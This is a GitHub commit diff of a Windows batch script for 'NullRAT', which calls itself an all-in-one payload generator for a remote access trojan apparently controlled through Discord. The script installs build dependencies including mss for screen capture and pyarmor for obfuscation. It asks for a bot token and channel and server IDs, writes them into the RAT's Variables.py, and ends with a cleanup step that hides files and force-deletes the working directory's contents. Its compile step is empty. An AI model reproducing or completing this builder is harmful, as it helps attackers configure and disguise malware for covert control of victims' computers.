1+ @ echo off & @ title NullRAT AIO
2+ chcp 65001 & cd " %~dp0 NullRAT"
3+ mode con: cols=80 lines=29
4+
5+ :main
6+ cls & echo Press any key to start, C to clean working dir, E to exit:
7+
8+ echo [0m
9+ echo . & echo . & echo . & echo . & echo . & echo . & echo .
10+ echo [38;2;0;220;255m███╗ ██╗██╗ ██╗██╗ ██╗ ██████╗ █████╗ ████████╗[38;2;255;255;255m
11+ echo [38;2;0;200;255m████╗ ██║██║ ██║██║ ██║ ██╔══██╗██╔══██╗╚══██╔══╝[38;2;255;255;255m
12+ echo [38;2;0;180;255m██╔██╗ ██║██║ ██║██║ ██║ ██████╔╝███████║ ██║[38;2;255;255;255m
13+ echo [38;2;0;160;255m██║╚██╗██║██║ ██║██║ ██║ ██╔══██╗██╔══██║ ██║[38;2;255;255;255m
14+ echo [38;2;0;140;255m██║ ╚████║╚██████╔╝███████╗███████╗██║ ██║██║ ██║ ██║[38;2;255;255;255m
15+ echo [38;2;0;120;255m╚═╝ ╚═══╝ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝[38;2;255;255;255m
16+ echo .
17+ echo [38;2;0;255;30m╔[38;2;255;255;255m[38;2;0;255;50m═[38;2;255;255;255m[38;2;0;255;70m═[38;2;255;255;255m[38;2;0;255;90m═[38;2;255;255;255m[38;2;0;255;110m═[38;2;255;255;255m[38;2;0;255;130m═[38;2;255;255;255m[38;2;0;255;150m═[38;2;255;255;255m[38;2;0;255;170m═[38;2;255;255;255m[38;2;0;255;190m═[38;2;255;255;255m[38;2;0;255;210m═[38;2;255;255;255m[38;2;0;255;230m═[38;2;255;255;255m[38;2;0;255;250m═[38;2;255;255;255m[38;2;0;255;220m═[38;2;255;255;255m[38;2;0;255;200m═[38;2;255;255;255m[38;2;0;255;180m═[38;2;255;255;255m[38;2;0;255;160m═[38;2;255;255;255m[38;2;0;255;140m═[38;2;255;255;255m[38;2;0;255;120m═[38;2;255;255;255m[38;2;0;255;100m═[38;2;255;255;255m[38;2;0;255;80m═[38;2;255;255;255m[38;2;0;255;60m═[38;2;255;255;255m[38;2;0;255;40m═[38;2;255;255;255m[38;2;0;255;20m═[38;2;255;255;255m[38;2;0;255;0m═[38;2;255;255;255m[38;2;0;255;30m═[38;2;255;255;255m[38;2;0;255;50m═[38;2;255;255;255m[38;2;0;255;70m═[38;2;255;255;255m[38;2;0;255;90m═[38;2;255;255;255m[38;2;0;255;110m═[38;2;255;255;255m[38;2;0;255;130m═[38;2;255;255;255m[38;2;0;255;150m═[38;2;255;255;255m[38;2;0;255;170m═[38;2;255;255;255m[38;2;0;255;190m═[38;2;255;255;255m[38;2;0;255;210m═[38;2;255;255;255m[38;2;0;255;230m═[38;2;255;255;255m[38;2;0;255;250m═[38;2;255;255;255m[38;2;0;255;220m═[38;2;255;255;255m[38;2;0;255;200m═[38;2;255;255;255m[38;2;0;255;180m═[38;2;255;255;255m[38;2;0;255;160m╗[38;2;255;255;255m
18+ echo [38;2;0;255;30m║[38;2;255;255;255m [38;2;0;255;50m[38;2;255;255;255m[38;2;0;255;70m[0m[5m[38;2;125;225;126m^ > ^ > ^ > All-In-One Payload Generator ^ < ^ < ^ < [0m[38;2;0;255;180m[38;2;255;255;255m[38;2;0;255;160m║[38;2;255;255;255m
19+ echo [38;2;0;255;30m╚[38;2;255;255;255m[38;2;0;255;50m═[38;2;255;255;255m[38;2;0;255;70m═[38;2;255;255;255m[38;2;0;255;90m═[38;2;255;255;255m[38;2;0;255;110m═[38;2;255;255;255m[38;2;0;255;130m═[38;2;255;255;255m[38;2;0;255;150m═[38;2;255;255;255m[38;2;0;255;170m═[38;2;255;255;255m[38;2;0;255;190m═[38;2;255;255;255m[38;2;0;255;210m═[38;2;255;255;255m[38;2;0;255;230m═[38;2;255;255;255m[38;2;0;255;250m═[38;2;255;255;255m[38;2;0;255;220m═[38;2;255;255;255m[38;2;0;255;200m═[38;2;255;255;255m[38;2;0;255;180m═[38;2;255;255;255m[38;2;0;255;160m═[38;2;255;255;255m[38;2;0;255;140m═[38;2;255;255;255m[38;2;0;255;120m═[38;2;255;255;255m[38;2;0;255;100m═[38;2;255;255;255m[38;2;0;255;80m═[38;2;255;255;255m[38;2;0;255;60m═[38;2;255;255;255m[38;2;0;255;40m═[38;2;255;255;255m[38;2;0;255;20m═[38;2;255;255;255m[38;2;0;255;0m═[38;2;255;255;255m[38;2;0;255;30m═[38;2;255;255;255m[38;2;0;255;50m═[38;2;255;255;255m[38;2;0;255;70m═[38;2;255;255;255m[38;2;0;255;90m═[38;2;255;255;255m[38;2;0;255;110m═[38;2;255;255;255m[38;2;0;255;130m═[38;2;255;255;255m[38;2;0;255;150m═[38;2;255;255;255m[38;2;0;255;170m═[38;2;255;255;255m[38;2;0;255;190m═[38;2;255;255;255m[38;2;0;255;210m═[38;2;255;255;255m[38;2;0;255;230m═[38;2;255;255;255m[38;2;0;255;250m═[38;2;255;255;255m[38;2;0;255;220m═[38;2;255;255;255m[38;2;0;255;200m═[38;2;255;255;255m[38;2;0;255;180m═[38;2;255;255;255m[38;2;0;255;160m╝[38;2;255;255;255m
20+ echo [?25l
21+ choice /c ECABDFGHIJKLMNOPQRSTUVWXYZ123456789 /n
22+ if %errorlevel% == 1 (exit /b 2)
23+ if %errorlevel% == 2 (goto cleanup) else (goto depend)
24+
25+ :depend
26+ @ title NullRAT AIO (Dependencies Installer)
27+ cls & echo .
28+ echo [38;2;0;220;255m██╗██╗ ██████╗ ███████╗██████╗ ██╗███╗ ██╗███████╗████████╗[38;2;255;255;255m
29+ echo [38;2;0;200;255m███║╚██╗ ██╔══██╗██╔════╝██╔══██╗██║████╗ ██║██╔════╝╚══██╔══╝[38;2;255;255;255m
30+ echo [38;2;0;180;255m╚██║ ██║ ██║ ██║█████╗ ██████╔╝██║██╔██╗ ██║███████╗ ██║[38;2;255;255;255m
31+ echo [38;2;0;160;255m██║ ██║ ██║ ██║██╔══╝ ██╔═══╝ ██║██║╚██╗██║╚════██║ ██║[38;2;255;255;255m
32+ echo [38;2;0;140;255m██║██╔╝ ██████╔╝███████╗██║ ██║██║ ╚████║███████║ ██║[38;2;255;255;255m
33+ echo [38;2;0;120;255m╚═╝╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝[38;2;255;255;255m
34+ echo ^ > ^ > Would you like to install^ /update NullRAT's Dependencies^ ? [Y^ /N]
35+ choice /c YN /n
36+ if %errorlevel% == 2 (
37+ echo Skipping
38+ goto vars
39+ ) else (
40+ cls & echo .
41+ echo [38;2;0;220;255m██╗██╗ ██████╗ ███████╗██████╗ ██╗███╗ ██╗███████╗████████╗[38;2;255;255;255m
42+ echo [38;2;0;200;255m███║╚██╗ ██╔══██╗██╔════╝██╔══██╗██║████╗ ██║██╔════╝╚══██╔══╝[38;2;255;255;255m
43+ echo [38;2;0;180;255m╚██║ ██║ ██║ ██║█████╗ ██████╔╝██║██╔██╗ ██║███████╗ ██║[38;2;255;255;255m
44+ echo [38;2;0;160;255m██║ ██║ ██║ ██║██╔══╝ ██╔═══╝ ██║██║╚██╗██║╚════██║ ██║[38;2;255;255;255m
45+ echo [38;2;0;140;255m██║██╔╝ ██████╔╝███████╗██║ ██║██║ ╚████║███████║ ██║[38;2;255;255;255m
46+ echo [38;2;0;120;255m╚═╝╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝ ╚═╝[38;2;255;255;255m
47+ echo ^ > ^ > Would you like to install^ /update NullRAT's Dependencies^ ? [Y^ /N] & echo .
48+ echo 1^ > Installing fixed version of pyinstaller...
49+ start " " " python" -m pip install pyinstaller== 4.10
50+ timeout /t 3 /nobreak > nul
51+ echo 2^ > Uninstalling incompatible packages...
52+ start " " " python" -m pip uninstall enum34
53+ echo 3^ > Installing/Upgrading rest of dependencies...
54+ start " " " python" -m pip install --upgrade virtualenv aiohttp disnake requests mss pyarmor
55+ timeout /t 5 /nobreak > nul
56+ start " " " python" -m pip install --upgrade virtualenv aiohttp disnake requests mss pyarmor
57+ echo .
58+ echo ALL DONE!
59+ timeout /t 5
60+ goto vars
61+ )
62+
63+ :vars
64+ mode con: cols=90 lines=30
65+ @ title NullRAT AIO (Variables Setter)
66+ cls & echo .
67+ echo [38;2;0;220;255m██████╗ ██╗ ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ███████╗███████╗[38;2;255;255;255m
68+ echo [38;2;0;200;255m╚════██╗╚██╗ ██║ ██║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██║ ██╔════╝██╔════╝[38;2;255;255;255m
69+ echo [38;2;0;180;255m█████╔╝ ██║ ██║ ██║███████║██████╔╝██║███████║██████╔╝██║ █████╗ ███████╗[38;2;255;255;255m
70+ echo [38;2;0;160;255m██╔═══╝ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██╔══██╗██║ ██╔══╝ ╚════██║[38;2;255;255;255m
71+ echo [38;2;0;140;255m███████╗██╔╝ ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝███████╗███████╗███████║[38;2;255;255;255m
72+ echo [38;2;0;120;255m╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝[38;2;255;255;255m
73+ cd " %~dp0 NullRAT"
74+ IF EXIST " Variables.py" (goto fileE) else (echo.)
75+
76+ :a
77+ set /p " token = Enter Bot Token: "
78+ if " %token% " == " " (cls & echo [ERROR] Token cannot be empty! & goto createF)
79+ set /p " notification = Enter Notification ID: "
80+ if " %notification% " == " " (cls & echo [ERROR] Notification cannot be empty! & goto createF)
81+ set /p " server = Enter Server ID: "
82+ if " %server% " == " " (cls & echo [ERROR] Server cannot be empty! & goto createF)
83+
84+ echo ^ # This file was auto-generated by NullRAT Variables^ . DO NOT SHARE^ ! > Variables.py
85+ echo bot_token = ^ " %token% ^" >> Variables.py
86+ echo notification_channel = %notification% >> Variables.py
87+ echo server_ids = ^ [%server% ^ ] >> Variables.py
88+
89+ echo . & echo Variables file successfully created!
90+ timeout /t 3
91+ goto compiler
92+
93+ :fileE
94+ echo .
95+ echo A pre-existing variables file was detected.
96+ choice /c YN /n /m " Do you want to check its contents? [Y/N]"
97+ if %errorlevel% == 2 (
98+ cls & echo .
99+ echo [38;2;0;220;255m██████╗ ██╗ ██╗ ██╗ █████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗ ███████╗███████╗[38;2;255;255;255m
100+ echo [38;2;0;200;255m╚════██╗╚██╗ ██║ ██║██╔══██╗██╔══██╗██║██╔══██╗██╔══██╗██║ ██╔════╝██╔════╝[38;2;255;255;255m
101+ echo [38;2;0;180;255m█████╔╝ ██║ ██║ ██║███████║██████╔╝██║███████║██████╔╝██║ █████╗ ███████╗[38;2;255;255;255m
102+ echo [38;2;0;160;255m██╔═══╝ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗██║██╔══██║██╔══██╗██║ ██╔══╝ ╚════██║[38;2;255;255;255m
103+ echo [38;2;0;140;255m███████╗██╔╝ ╚████╔╝ ██║ ██║██║ ██║██║██║ ██║██████╔╝███████╗███████╗███████║[38;2;255;255;255m
104+ echo [38;2;0;120;255m╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚══════╝╚══════╝[38;2;255;255;255m
105+ echo .
106+ goto a
107+ )
108+
109+
110+ if %errorlevel% == 1 (goto endd)
111+
112+ :endd
113+ echo . & type Variables.py & echo .
114+ choice /c YN /n /m " Are all these information correct? [Y/N]"
115+ if %errorlevel% == 2 (cls & goto createF)
116+ if %errorlevel% == 1 (
117+ echo . & echo The following information is correct.
118+ echo Going to compiler...
119+ timeout /t 3 > nul & goto compiler
120+ )
121+
122+ :compiler
123+
124+ pause
125+
126+ :cleanup
127+ attrib +h " %~nx0 "
128+ cd " %~dp0 \NullRAT"
129+ move RAT.py " %~dp0 \"
130+ move custom_icon.ico " %~dp0 \"
131+ move upx\upx.exe " %~dp0 \"
132+ cd " %~dp0 \" & rmdir /s /q " %~dp0 \NullRAT\"
133+ mkdir " %~dp0 \NullRAT\" & move RAT.py " %~dp0 \NullRAT\"
134+ move custom_icon.ico " %~dp0 \NullRAT\" & mkdir " %~dp0 \NullRAT\upx\"
135+ move upx.exe " %~dp0 \NullRAT\upx\"
136+ if exist README.md (del README.md)
137+ if exist " Getting Variables" .md (del README.md)
138+ if exist .git\ (rmdir /s /q .git\)
139+ move " %~nx0 " " %~dp0 \temp"
140+ del /f /q *.*
141+ rmdir /s /q * & rmdir /s /q build\
142+ cd " %~dp0 \temp"
143+ move * " %~dp0 \" & cd " %~dp0 \"
144+ rmdir /s /q " %~dp0 \temp"
145+ attrib -h " %~nx0 "
0 commit comments